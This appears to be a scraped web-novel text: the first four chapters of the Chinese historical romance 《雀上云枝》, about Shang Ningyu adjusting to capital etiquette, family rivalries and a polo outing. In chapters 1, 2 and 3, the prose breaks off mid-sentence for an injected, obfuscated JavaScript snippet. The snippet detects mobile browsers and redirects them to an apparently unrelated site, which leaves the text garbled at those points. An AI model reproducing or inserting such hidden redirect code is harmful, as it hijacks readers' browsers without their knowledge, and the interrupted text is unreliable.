《雀上云枝》 1. 第 1 章 岁序九秋,节逢重阳。 玉霞山忽现一奇观,千畦金甲一夜怒放,漫山金菊叠翠鎏金,纷如星河坠尘寰,一泻三千里。 宫中设宴,邀众臣工携家眷一同前往,共赏佳境。 沁俯幽芳令人九转回肠,调蜜菊酿惹人回味无穷,田氏回到忠勤伯府,还在和夫君惊叹,天公作美,怪不得三千佳丽,唯贵妃一人荣宠不绝。 语气艳羡久久不能歇止,直至商晏竹忍无可忍,一语道破玄机,原来,千里山菊并非浑然天成,乃是乔家纠集万民搬运,耗费巨资才有今日盛景,一睹圣眷。 田氏双眼瞪大如铜铃,再回想那漫山盛况,一时乍舌失语,转眼便只觉得,那些野菊,不过尔尔,纯纯污浊了双眼,乱人心智,又摄于京城脚下,墙角有耳,将无数粗鄙之语咽于腹中。 转变之大,之急速,令商晏竹叹愕,失笑间,思及爱妻纯良贤善,心中熨帖,再回想阖府乌七八糟,顿感慰藉。 金乌西沉,赤霞漫天。 夫妻两稍作休整,卸去了一身疲乏,商晏竹坐到竹木摇椅上,拾起一本《地物志》,翻阅至上次未尽之处。 高山权贵不可再提,但眼下小女儿的变化,再度引起田氏的谈性。 眼见夫君闲暇,卸下钗环的田氏来到桌前,提袖斟茶,放在商晏竹面前。 道:“此次入宫,呦呦的表现可是出人意料,各府夫人都瞧见了,夸她贞静娴雅,端庄柔顺。” 思及小女儿,商晏竹眼角也爬上笑意,“是很不错,这些日子,辛苦夫人了。” “都是老夫人优待,特意送来了两个嬷嬷。”田氏说着,遛了一眼夫君,继续道,“她将规矩学了个十成十,若非知情人,还以为我们自小在京城长大,哪里知道,她从前不过是个岭南的皮猴子,上蹿下跳,登高爬树,做尽叫我头疼的事。” 商晏竹转瞬已经沉浸书中,端起茶盏浅抿一口,嘴中叮嘱道:“虽是不错,但你还要继续督促,不可半途而废。” “都学成这个样了,你还想让她学到哪一步?”田氏眼睛斜睨,道:“莫不是,当真要比肩惠姐儿?她哪里做得到!” 惠姐儿之所以将规矩学到了极致,一颦一笑都端庄贤淑,堪称贵女之典范,盖因当年商晏竹南下外任,将她丢在了外祖家,由国公府老太君亲自教养。 国公府乃百年世家,家族基业庞大,规矩森严,老太君又是郡主出生,自幼有宫中嬷嬷教导,养在她名下,那一身贵气,想不浑然天成都难。 而她们才回京城三个月,自回来的第三日起,老太太就拨了两个教养嬷嬷过来教授女儿礼仪规矩,天天勤学苦练,夙兴夜寐,直至前日,经阖府长辈过眼,才放心让她去参加了今日赏菊宴。 她这个当娘的,心疼得不得了,却又无可奈何,只得每日做些她喜欢的餐食供她营养。 田氏语毕回神,在这提起继女,不是让夫君回想起当年弃继女不顾的旧事,挖夫君心窝子吗? 她面上瑟瑟,商晏竹却没多大的情绪变化,他的确是想到了长女,所想却并非田氏所虑,而是——幼女性情跳脱,叫她比照长女,的确是为难了她。 他随意道:“业精于勤慌于嬉,再学个十来日,再停也不迟。” 田氏遂放下心中恼意,又心疼起女儿,柔声道:“惠姐儿将来要入宫侍奉太子,呦呦却不用这些,学到这样也就罢了吧,再说,你还叫她去习艺馆,到了那里,规矩还能再跟进,没必要追得这般紧。” 听到这里,商晏竹若是再听不出半点名堂来,就枉为人夫人父了。 他乜斜了妻子一眼,“是不是这丫头又到你跟前诉苦了?” 田氏面色一滞,尴尬地笑了笑。 商晏竹哼:“叫你别被她骗了,你还不听,这丫头,惯会扮猪吃老虎。” 田氏气噎,一巴掌拍在商晏竹的肩胛骨上,阔别岭南初入京城时的小心谨慎一挥千里远。 嘴里骂道:“有你这么说女儿的?她是猪?你才是猪,这么乖巧的女儿,被你说得如此粗鄙,小心一语成谶,叫她又变回去。” 面对妻子的危言耸听,商晏竹笑得摇椅直晃荡,一面闪躲田氏的连环爪,一面告饶。 田氏软硬兼施,娇嗔兼并,见他就是不改口,耐心告罄,嗔了一眼美目,不再纠缠,扭腰去收拾仲秋的箱笼。 唉,她尽力了,索性也就剩下十来日,日期一到,嬷嬷就该告老还乡,女儿也就不会到她跟前来叫苦连天了。 - “所以阿娘就这么放弃了,弃她乖巧伶俐的女儿不顾,和阿爹打情骂俏,然后把这么大的事给忘了?她都忘了跟我再三保证,一定会说服阿爹替我辞退嬷嬷?” 兰馨院,翌日一早,醒来后得知消息的商凝语凝视着贴身侍女,满眼不可思议地总结。 酷暑已逝,桌上盛冰的鎏金双耳鼎炉被撤去,换下镂空的繁花纹香炉,此时,香烟袅袅升起,和着清淡柔和的桂香,四溢散开,满室沁香。 “夫人定是尽力了,只是,嗯,老爷......不,三爷拿定了主意就很难改变,夫人也无能为力。” 点翠抿嘴闷笑,极力寻找措辞,想要挽回自家娘子受伤的心。 商凝语气得面红耳赤,牙尖咬得咯吱响,道:“这是什么耳根子?软得没边了,这要是生作男儿,肯定被拿捏得死死的。” 又对着点翠埋怨,“怎么别人家的枕边风一吹就响,到我娘这儿就不灵验了?早知道就该我自己亲自去,这下好了,打草惊蛇不说,阿爹肯定不能再允我,白白浪费了一次机会。” 点翠更觉得好笑,心中也觉得遗憾,每日起早贪晚的训练,就是她,也觉得累了,够了。 “那就少些时日,十日免去五日,剩下的五日,三爷应该能答应。”点翠出主意。 其实,嬷嬷教的东西,娘子都已经会了,就算再学十日,也是手到擒来,多此一举的根源在于,回京城这三个月,娘子已经憋坏了,格外想要出去透透气。 她毫不怀疑,若再继续下去,娘子会寻个借口,逃离这满口规矩的森严之地。 说着,点翠掰过自家娘子的肩膀,对着妆奁,执起梳篦替她梳妆。 “嬷嬷规矩虽是严,但我瞧着还是有几分真本事,这才三个月,娘子好像白了呢。” 眼见娘子嘴撅得老高,犹自不满,同样得了府里嬷嬷谆谆教诲,一日三授,该如何侍奉小主的婢女,心思急速运转,睨着铜镜,惊喜道。 商凝语眼睛盛着怀疑,凑近雕花铜镜仔细看。 镜中女子刚净过面,鬓角还挂着两滴水珠,只见晕黄的镜面里,确如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362091|183732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出水芙蓉,养得赛雪肌肤,白若牡丹,吹弹可破。 许久不曾观测自己的容颜,骤然被如此美貌惊艳到,商凝语轻眨眼眸,便见镜中女子朝她浅浅一笑,刹那间,犹如牡丹盛开。 她用眼神仔细描摹,见牡丹仙子唇不点而红,眉不画而翠,美得不可方物,不由得呆了一瞬。 “果然还是京城的水土养人,堪堪三个月,就叫娘子换了个人似的。” 点翠再一次确认。 惊艳之色在商凝语眼角逐渐漾开,来自京城的各色规矩瞬间抛诸脑后,她直起腰板,端端正正地坐好,美滋滋地欣赏镜中美人。 训练就训练吧,三个月她都过来了,还怕这区区十日?跟岭南的自由比,还是京城的水土好,天然去雕饰,终于把她这身黑皮给雕去了。 田氏肤色偏黑,但模样俊,身段好,一张俏脸犹如山间顶风而立的山茶花,生机勃勃,当年便是如此,吸引住了纵横京城各色名花的探花郎,被其摘入囊中。 夫妻二人生下一对双生子,哥哥商凝言,相貌俊俏,肤色白皙,俨然第二个商晏竹。 可偏偏商凝语只继承了爹娘的好相貌,一度以为自己稍似母亲,肤色与白无缘,而今才醒过神,定是她整日在外玩耍,烈日照晒,才叫她如何也养不回来。 有了这身好皮囊,商凝语淑女姿态端得更加认真了,嬷嬷教的,走路要不疾不徐,鞋履隐于罗裙云纹之下,露出足尖寸许,裙摆随风要恰到好处,才有步步生莲、洛神凌波之感。 而且,脚步要落地无声,做到不惊动枝头雀儿才算上乘。 商凝语双肩持平若承玉盘,双手交叠腹部,颈项延长似天鹅引吭,眸光落在前方七寸之地,娴静地来到翠竹堂。 途中偶有花蝶纷飞,亦目不斜眄。 才走到廊檐下,见四下无人,正准备推门而入,忽听屋内传来窸窸窣窣交谈声。 “这些时日,你可有看中哪家公子,觉得能配得上呦呦的?” “有几个家世不错,可是我左看右瞧,都觉得除了家世,其他的一点也不出挑。” “富庶人家自然不是寻常百姓可比,只要人品出众,不会亏待呦呦,其他的要求就不要太高了。” 是商父的声音,他在劝慰田氏。 可田氏不满足,叹息一声,语气里,满满都是遗憾。 “要是只看人品,我也就不舍弃霁哥儿了,这孩子人品相貌,哪一样不是出类拔萃,你还说他此次秋闱定能高中,到时候蟾宫折桂,官身也有了,样样没得挑。可就是摊上那么一个大家子,将呦呦交给他我放心,交给那些人,我可是一点也不放心。” 此言,商晏竹已经不知听过多少回,他亦赞同田氏之意,遂随了父亲的愿,携带妻儿回京待职,只为在京中为女儿相看一门好的亲事。 听到爹娘谈论自己的婚事,商凝语悄悄地退到院子中。 朝阳晨露,疏影横斜。 她低头,踩着地上晃动的光圈,看模样似是百无聊赖,又似无限惆怅。 是了,她此番不辞辛苦的学习规矩礼仪,是要在世家林立的京城择一佳婿。 霁哥哥才华横溢,俊涛无双,对她也特别的好,可就是太过愚孝,让她和爹娘一想到,嫁过去要面对一□□懒谗猾的兄嫂姐妹,就退避三舍。 2. 第 2 章 “七娘子来了。” 嬷嬷回来见商凝语在院中,惊喜地喊了一声。 田氏连忙止住话头,和夫君对视一眼,不一会儿,就见侍女推门进来,女儿紧随其后,她朝女儿面上打量过去。 只见小女纤腰束素,步摇衔珠,款款而来几步路,珠钗垂落却丝毫不颤,端的是窈窕淑女,温婉娴静,不由得骄傲地朝夫君睨去一眼。 商晏竹佯作不知,不自觉地端正了坐姿。 “爹,娘。”商凝语屈膝行礼,问安道。 商晏竹点头,对她昨日表现称赞一番,多余的话不说,只等妻女叙话后去观鹤堂请安。 田氏关心地问她昨夜睡得如何,得了肯定后,又询问她是否还要去燕拂居等五娘子。 往日商凝语都要去陪同五姐姐一同去观鹤堂,今日,她却迟疑了片刻,最后还是点头,脆声道:“要去的。” 若问商凝语此番回京,最厌烦什么,那定然是数不尽的规矩要守,而这其中,首当其冲就是这晨昏定省。 以前在岭南,山野里浪漫惯了,早晨可以睡到日上三竿,艳阳高照,入夜才伴在爹娘身边,寻野趣乐事道来,一家四口,说不出的温馨和谐。 但回到京城,这其中就又多了祖辈一层。 并非她不乐意亲近祖父祖母,而是觉得,森严的规矩约束下,毫无人情冷暖可言,浮于表面的亲近更加显得深宅内院的血脉疏离。 忠勤伯府在富贵金地不算上乘士族,但规矩据说丝毫不差,晨昏定省不能浮想联翩,口不择言,要谨小慎微,挨训受训,短则一炷香,长则一个时辰,而她娘,每日还要忍着饥饿,服侍祖母用膳。 商凝语初来乍到,有许多不懂且愤愤的地方,却不敢言道,只能藏在腹中静观其变,数月过去,她渐渐地摸出些名堂。 比如,祖父祖母其实并不喜欢她娘以及她娘所生的他们兄妹二人,她娘说祖母喜欢她和兄长,其实是道貌岸然生下的产物。 比如,她这大伯母,满嘴的孝悌恭顺,行的却是蝇营狗苟,上不了台面之事。 商凝语眼里揉不进沙子,对这般黑白不分的人向来拒而远之,但现在不行,因为她现在正与商明菁交好。 初入伯府那会,阿爹对京城一应旧事讳莫如深,他们对祖父祖母、大伯一家以及那位素未谋面的嫡姐性情毫无头绪,以至于两眼一抹黑的回到伯府。 她正彷徨时,是商明菁第一时间向她投来友好的目光,犹如茫茫大雾里的一道曙光,带着她踏进这深宅内院。 商明菁是大伯母所出,在那一刻,也是第一次,在没有任何心理准备下就接受了一个陌生人的好意,她感激商明菁伸出援手,所以,哪怕知晓大房一家心思不纯,也愿意相信有一分歹竹出好笋的可能存在。 出门的时候,遇到前方来了一位玉面小书生,正是她的孪生哥哥,商凝言。 “哥。”商凝语问安。 见到妹妹,商凝言眉眼浅弯,眉梢眼角透着亲和,得知她还要去燕拂居,叮嘱她脚程快些,请安的时辰就要到了。 商凝语道一声“知道了”,脚步匆匆地离开,到了燕拂居,已经有些迟了,却被侍女告知还得再等一会。 “我家娘子昨夜睡得晚,再等一刻钟就好。” 商凝语抬头望了望上竿的日头,心中焦急不已,却还是点了点头,“我进去瞧瞧五姐姐。” 商明菁正在镜前梳妆,一见到她,就叽叽喳喳叫了起来,“别急,别急啊,我马上就好。” 商凝语见她面上敷了一层薄薄的胭脂,若不细看,很难瞧出眼底青色,相信了她昨夜没睡好的话。 坐下等候时,好奇问道:“你夜里不睡觉,想什么呢?” 商明菁眼光微闪,隔着侍女的细腕,暗中打量商凝语,道:“就想昨日宫中菊花宴啊,你能睡得好?不......惊艳吗?” 闻言,商凝语目光微凝,随即,眸光一闪。 昨日千里山菊,震撼全场,菊酿佳肴,飘香四溢,只要在,谁不惊艳当场? 商凝语自然也是惊艳的,只是,她还有更震撼的。 商凝语早些年被商凝言科普了一件事,当年大唐盛世,出现一句千古流芳的诗句,这文人墨客眼里多么浪漫的一件事,却不知背后流尽了多少万人的心血。 商凝语喜欢美色,却不喜欢劳民伤财带来的美色,举一反三,对这场奇观异景顿时起了疑心。 为了验证心中猜疑,她特意在宴会尾声,循着小道去了山脚边查探花池,土壤松弛,花枝萎靡,确如她所料。 她在那一瞬间只觉得荒谬,耗费巨资,只为博得君王一笑,这般荒唐之事,竟在她眼前重现,之后,她对宴会就再也提不起兴致。 她便是在回宴途中,撞见了另一桩事。 今年早在发春之际,皇上突感龙体不适,时隔二季过去,依旧缠绵病榻,乔贵妃听闻后山惊现奇观,以给皇上去秽添喜为由,置办宫宴。 果然,宫宴一办,皇上龙心大悦,甚至重整衣冠,起身离殿,亲自去陪朝臣们喝了一杯,而后又施施然去了后宫,嘉赏贵妃一番。 可以见得,这日之后,乔家荣宠将再上一层,乔贵妃在皇上心中,更是无人能敌。 君臣酒宴甚欢,乔家人得意到尾巴翘上天,就连乔贵妃所生的太子,也一时失了往日拘谨,在后山一处水榭雅座里,纵情纵性。 只等太子迎娶东宫太子妃后,就即将入宫作侧妃的商明惠,乃是伯府四娘子,即商凝语的嫡姐。 商凝语就在那里,率先撞见商明惠搅了太子好事,施施然离去,后又瞧见商明菁隐秘在竹林深处,窥然探视。 这么明晃晃的奸事,商凝语决计不会说出去,回府后连爹娘都未透露半分,唯恐得罪三方中的任何一方。 若非商明菁有心试探,她都不知晓,自己也被对方窥在了其中。 为防止问起她去后山的缘由,当即,她就保持了镇定,睁大了无辜的双眸,茫茫然道:“就因为这,你一夜没睡好?” 她满眼嫌弃的模样,叫商明菁也起了疑,莫非她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362092|183732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没瞧见全过程,不知道那人是谁? 这可就不太好了,那她还要怎么告状,告个商明惠那厮仗着侧妃的位份,不敬太子?难不成要她亲自去跟祖母说?只怕还未说出口,就得挨骂,说她不顾姐妹情分,幸灾乐祸。 商明菁面色顿时难看起来,好在有侍女拿着胭脂继续敷粉遮掩了过去,她嘴里却道:“你说呢,那么美的景色,我想找你一起欣赏来着的,却半天没寻到你人影。” 商凝语回以憨笑。 寻了借口道:“大概是去如厕了,你不知晓,我半道上迷了路,找了半天才找回去。” 为防止她纠缠不休,连忙催促梳妆侍女,“云娇,你快点,你家娘子就快要迟到了。” 商明菁也不敢再迟疑,梳妆一结束,姐妹两手携手,集体向观鹤堂奔去,到了院子外,不约而同地停下脚步,整理仪容,平复呼吸,才抬头挺胸,施施然踏进院门。 “你们来了正好,方才你们四姐姐说,国公府送来拜帖,邀请你们几个去城外庄子上打马球。” 商凝语原以为进门一定会挨训,没想到,老夫人今日心情格外的好,端坐在高堂之上,一进门不等她们行礼,就说起此事,而且,说话时,慈眉善目,和蔼可亲,仿佛这是一件多么令人感到荣耀的事。 国公府?那不是四姐姐的外祖?她与四姐姐不熟,五姐姐和四姐姐更是不睦,四姐姐竟主动邀请她们前去玩耍,听听就觉得不可思议。 商凝语目光看向老夫人身侧,商明惠坐在那里,姿态端庄,如神女般的容颜端的冷若冰霜,眉眼寒凉。 即便是察觉到她的目光,凝视过来,眼神也是浅浅并无任何异色。 若是她身后的侍女云锦,没有瞪过来一眼,就更能说明这里没有猫腻。 若是以往,商凝语定会退缩地避开视线,但今日,她福至心灵,朝商明惠投去明媚一笑。 商明惠眼里闪过一丝惊艳,以及显而易见的讶色。 稍后,朝她点点头,遂才移开视线。 商凝语很是开心,给祖母请安后,温顺地走到一旁,偎依在田氏身侧。 又听闻老夫人说道:“田氏,昨日贵妃娘娘特意表彰了语姐儿,我瞧着,她规矩已经学得有模有样,也就勿须再将她拘在家里,免得压制了天性,过于呆板,你今日回去,就遣了那两个嬷嬷,容她们早日荣归故里。” 犹如仙乐破云踏雾而来,绕梁三尺而不绝。 祖母并不喜欢她,但是给她解禁了。 商凝语面色潮红,忍住砰砰心跳,才没叫愉悦声脱口而出。 “是,母亲。”田氏温顺地应道,暗地里,捏了捏女儿的小手指。 老夫人目光微移,又道:“语姐儿,你规矩不足,明日随你两位姐姐前去,定要谨言慎行,谨记伯府规训,切莫张口胡言乱语,举止无状,更莫要给你四姐姐丢脸。” 商凝语什么计较也没有,欢欢喜喜地应声道:“是。” 商明菁低垂眉眼,遮住了眼底的讥讽,乡巴佬,好赖话都听不出! 3. 第 3 章 商凝语回到兰馨院便已经回过神。 她随父回府的目的是择婿待嫁,这京城中权贵琳琅满目,想要高攀,必要自身过硬,如今,她规矩学成,祖母自是开始筹谋相亲宴,助她结交各路权贵。 除此之外,还有一事。 赏菊宴乃是宫中所办,宗室、公伯侯府乃至朝中五品以上官员几乎全部受邀在列,忠勤伯府一家齐至,这无可厚非。 但马球会是国公府举办,拜帖并非直接送至伯府,而是给了商明惠——将府里各路关系重新梳理一遍,商凝语就咂摸出点意思。 忠勤伯府老伯爷,也就是她的祖父,一共有三个儿子,大伯和她爹是老太太生的,二叔是姨娘生的,二叔在多年前中了举人后,就由祖父寻了关系外放出去,大伯则在早年就得了世子之位。 但商凝语回京也已三个月,从家里各房主仆态度以及商明惠外祖家家世中猜测,商家最有出息的,应该是她爹,商家的三爷。 只是不知是什么原因,让商老爹在先夫人死后,将商明惠托付给岳家,又背井离乡,远离亲人,娶了她娘,一个乡绅之女,一名普通得不能再普通的乡野女子。 商家男人不成材,但规矩好,不讲究三妻四妾,除了二叔,其他的都是嫡出。 大伯生了两个嫡子,官职都不高,商明菁是长房独女,三房子女一起序齿,排行第五,商明惠排行第四,商凝语晚嫡亲兄长半刻钟,分别排第六第七。听说二叔那边有个平庸的三哥,还有个有点小智慧的幼弟。 伯府这支血脉,一共就这些,剩下的旁支远在天边,不算。 商凝言如今十四,已经是个秀才,纵观父兄两代,唯有她阿爹这一房最有出息。 去年祖父下了最后通牒,要阿爹这次三年任满,回京待职,阿爹不同意,在阿爹回京述职后,祖父直接命人将商父扣留在院中不让离开,直到今年年初,阿爹挂念妻子儿女,才不得不作出妥协,后来,就有了她们一家人团团归京的事宜。 当然,去年那个时候,爹娘也没见识到陆家人的无耻,还一心想等霁哥哥高中,榜下捉婿。 阿爹如此作为,惹祖父祖母不高兴,自然也会引起国公府的不满。 自她们回京,阿爹几次登门拜访,都被拒之门外,最后只敞开正门,让四姐姐跟着回了伯府。 国公府的态度已然明了,不认翁婿情,只认外孙女。 而此次国公府如此邀请伯府,必然又是给四姐姐长脸助威。 父辈之事,商凝言无权过问,只是,她受邀在列,国公府位高权重,应邀者非富即贵,该注重地方定是无法想象,她应该亲自去向四姐姐请教一番礼数,并且对四姐姐不计前嫌邀请她参加如此高不可攀的贵宴赋以诚挚的谢意。 梨棠院。 庭院里一片阒寂,正房屋内,翡翠珠帘半卷,凭几高台上,白玉瓶里斜斜伸出几根桂花枝,风一吹,暗香浮动。 凌霄帐、梨花木,闺房内的布置无一不彰显奢华和贵气,商明惠端坐案前,手指书卷,姿态优雅,听云锦禀报过后,眉眼微微一顿。 娘子近日心情不好,云锦不愿多言,道:“我去让五娘子离开。” 商明惠没有回应。 云锦以为得到应允,起身就要离去,却被喊住,“等下。” 商明惠神色浅淡,精致的双眼不起一丝波澜,道:“你去跟她说,穿一身便利的行装即可。” 说完,复又沉浸书海之中。 “就这?”商凝语目露诧异,看着云锦,严重怀疑她是不是故意漏了什么。 云锦却没有好脸色,说出来的话火药十足,“就这,再多也不需要五娘子操心!” 哦,也就是说,剩下的就交给四姐姐。 商凝语不敢继续叨扰,连忙道谢,悻悻而归。 回到兰馨院,就开始翻箱倒柜。打马球自是要着便装,好在初回府时,府里就给她置办了一套春秋可穿的浅橘色束袖胡服,这些时日一直专于学习规矩,倒不曾穿过。 珠钗首饰定然不能再戴,用一根花色细绳将长发束起即可,一切准备妥当,到了傍晚,她又早早去了燕拂居,和商明菁一起去观鹤堂请安。 得知消息的云锦,对着院子再次狠狠啐了一口,对此,商凝语就一无所知了。 翌日一早,商凝言前来兰馨院,兄妹两一身轻装。 商凝言身穿一件浅蓝色窄袖暗纹胡服,玉冠束发,沉得面白清秀,风姿落拓,二人站在一起,赏心悦目。 直至在半道上见到商明菁,商凝语才知晓为何商明惠特意叮嘱了那么一句。 只见商明菁头上钗寰环绕,身着粉色宽袖长裙,腰间环佩叮铃作响,穿了一副堪比前日宫宴的盛装。 商凝语心中乍舌,美是美,可这不是去赴宴,是去打马球的吧? 便是没有四姐姐的叮嘱,她也知晓该穿什么衣裳,她现在严重怀疑,是大伯母跟商明菁说了什么,才给她带偏了。 到了观鹤堂,才发现商明惠早已等候多时,只见她身着一套墨红劲装,举手投足间,英姿飒爽。 商凝语眼前一亮,正准备上前见礼,就见对方的眼神越过她,看向了她的身后。 商明惠眼神流转,并未过多停留,但嘲意却几乎氤氲了整个屋。 这还真是挺尴尬的。 商凝语只好面不改色,将自己的礼行完。 老夫人叮嘱几句,就叫几人提前出发,姐妹三人齐齐拜别,陆续走出观鹤堂。 商凝语走在最后,临去前,听到贺氏说道:“母亲,几个铺子的管事偷奸耍滑,送来的账本都出了些纰漏,儿媳昨夜查了一宿,奈何能力浅薄,还未查完,这......” 她回首,见大伯母不知何时起了身,面露羞惭,恭顺地立在老夫人前侧,老夫人侧头,不知对她娘说了什么。 而后,就见她娘面色慌张,起身时差点打翻了案几上的茶水,一字一句,隔着森森庭院,幽幽传来,“大嫂尽管前去查账,母亲这里自有我来服侍......” 她暗暗捏了捏拳头,作为晚辈,她应当孝敬祖母,但是,祖母慈善不均,待她回来,就跟母亲摊明,距大伯母有多远离多远。 出了府门,商凝语再次见识到商明惠对商明菁的厌恶程度。 伯府备了两辆马车,商凝语自觉和商明菁走到一起去,却被商明惠叫住,她凝视商凝语,吩咐道:“我有些话要对你们二人说,上车吧。” 商凝语精神一振,朝商明菁投去抱歉的眼神,来不及说话,就被商凝言拽上了马车。 不多时,马车前行,车轱辘在青石板路上碾出橐橐声。 车厢内,寂静无声,五个人坐在一起显得有些拥挤,商凝语都觉得手脚没地方放,浑身僵硬,偏偏另外两人老神自在,都是一副拒人千里之外的模样。 这是她第一次近距离看商明惠,猜测她定然是像她那位不曾谋面的先母多一些,她和商凝言都长了一双灵巧杏眼,而商明惠眼尾狭长,有几分凌厉,看人时,不自觉地就会让人产生摄意。 商明惠察觉到她的打量,并未过多言语,而是问:“你二人打过马球吗?” 她就发现,商明惠瞳色还是浅淡的,再寻常不过的一句话,她语调甚至有些平平,说出口的话依旧带着几分冷意。 商凝言瞅了一眼商凝语,见她不语,答道:“会的,不过,不熟。” 商明惠也早熟悉这位弟弟的寡言少语,闻言,颔首道:“不熟没关系,我先与你们说一下京城马球的规则。” 如今京城贵公子性情各异,打马球也成了不与“同流合污”的一类,以至于现在衍生出一种新的玩法。 不拘多少组,三人成团,两两对打,五局三胜,直至最后,赢者获胜。 “今日是国公府做东,彩头由国公府给出,你们若有相中,不必谦让,可以尽力一试。”商明惠道,“若是对规矩不熟,稍后也可以派人带你们先熟练一番。” 商凝语茫然,“都有什么彩头?” 商明惠回想,“各类都有,金钗头面、稀世环佩、名贵药材,有很多,你且看着。” 也就是说,留作己用和赠送他人,都有,商凝语心里琢磨着,到时候看看有没有给祖母的。 她这一房手头都紧,没有好东西,若是能将国公府的东西拿来孝敬祖母,祖母必然高兴。 - ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362093|183732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城郊的庄子很快就到了,云锦露了面,门口守卫放行,马车继续进了庄子,直奔球场。 商凝语掀开车帘,透过罅隙往外瞧,马球场上四面围墙饰以彩旗,在北面设立层层阶梯,中央最高处建立了一座高大宏伟的楼阁,左右两边设立雅致闲亭,一眼望去,左边亭内男子身姿挺拔,雄姿鹤立,右边女子婀娜娉婷,彩衣翩翩。 不愧是豪阔士族,一个马球场,分呈列置,也是井然有序。 远观标刻忠勤伯府徽号的马车缓缓停靠在入口不远处,这厢案几呈列的亭子里,几名夫人抬眼张望,觑到亮丽身影下了马车,一对精致如玉的兄妹紧随其后,相继向这边走来。 旁侧的夫人回首笑道:“那就是商三爷在外养的一双儿女吧?长得倒是不错。” 为首的夫人雍容华贵,觑着为首飒爽不失矜贵的女子,脸上盛着浓浓笑意,嗔道:“是他们,我这个外甥女,体恤弟弟妹妹,非要带着来见我。” 邻座夫人打趣:“四娘子恭贞贤淑,又贴心孝顺,你还说没有女儿,这外甥女可比我家那个女儿贴心多了。” 众人捧笑一团,信步进入雅亭的商明惠,清淡眼眸也染上笑意,上前几步,屈膝福礼,道:“给舅母请安,各位夫人安好。” “怎的现在才来?”王氏目不斜视,拉过商明惠的手,关心问道。 商凝语拘礼立在原地,商明菁目光凝向别处,反倒是商凝言,一脸平静,既不因满室贵妇而拘谨,也不因怠慢而着怒,宛如一股清风,宁泊淡然。 商明惠偎依在王氏身边,轻声解释了几句,便向王氏介绍起三人,三人行礼问安。 王氏嗔了商明惠一眼,这才将目光挪了过去。 率先睨向商凝言,含笑点头道:“是个不错的后生,听你四姐说,你已经中了秀才?” 亭中几人俱是一惊,这才认真打量起眼前年轻人,不过十四五岁的年纪,竟已经中了秀才,她们家中虽然多有荫封,子弟不需科举入仕,但面对如此青年才俊,还是忍不住多看了几眼。 这年头,谁还不喜欢几个真凭实学的人。 商凝言模样恭谨,道:“是。” “今年秋闱可有入场?”王氏见大家有兴致,多问一句。 商凝言不骄不躁道:“阿爹说我根基不稳,命我下月入国子监,三年后再下场试试。” 王氏眼里更加露出赞赏之色,对于这个妹婿的眼光和才学,她是没话可说的,随后,将目光移向商凝语,道:“果真是双生子,长得真像。” 商明惠小声问:“是不是很俊俏?我第一眼见到,还以为是爹用彩泥给我捏出来的一对漂亮弟弟呢。” 商凝言面色微红,端肃的面容终于露出一点别样颜色,商凝语则眼里露出好奇,悄悄看向商明惠。 商明惠谈笑晏晏,回视的目光依旧寡淡。 商凝语心中疑惑,淡定地垂下眼睑。 王氏忽然开怀大笑起来,吩咐贴身婢女将备好的见面礼送给他们,道:“是一对好孩子,以后要和你们四姐姐好好相处,有空就来国公府玩。” 商凝语再次看向商明惠,商明惠轻微地点了点头,她和商凝言才接过礼物,双双道谢:“是,多谢大舅母。” 王氏见状,更加满意了,从头到尾都没给商明菁一个眼神,就拍了拍商明惠的手,施了眼神,道:“你三表哥给你带了一匹好马,你快去瞧瞧。” 商明惠笑意微敛,低下头,恭顺道:“是。” 王氏拍了拍她的手,以示安慰。 商明菁面上一直端着,心中其实早已不耐,见王氏发话,她福礼后率先出了主亭。 有夫人瞧见了,轻笑:“这伯府的规矩真真的都荒废了,幸好,三爷家的几个子女都没在府里养大,各个出落得标致,举止看着也让人舒服。” 还有人道:“还是四娘子最好,受王姐姐和老太君亲自教导,跟另外两个比,也大有区别。” 王氏淡笑:“是我那妹妹妹夫根子好,也是她们有缘,跟惠丫头血脉相连,以后遇到这兄妹两个,还望各位姐妹照应一二。” 对方笑意微顿,转而连连应承,主亭内,再次传来惬意闲散的笑声。 4. 第 4 章 暖阳和煦,高楼渗秋风。 最北侧的阁楼之上,四窗洞开。 一人躺卧在美人靠里,半个身子陷进去,面上罩着一本半陈半新的书卷,胸前盖着一件玄色繁花纹杭绸鹤氅,长腿交叠,搁置在半人高的横案上。 横案上,并列放置着两枚精致漂亮的玉骨骰。 此刻若是商凝语在场,定要质问一句,规矩呢!仪态呢! 但她不在,唯有一人,身穿天青色云绫锦直裰,手执秋毫,弓腰驼背立墙角窄案后。 他发髻歪斜,衣衫凌乱,正埋头执毫,笔走龙蛇,犹如在画一副惊世巨作,尘世喧嚣都不足以干扰,全全沉浸其中。 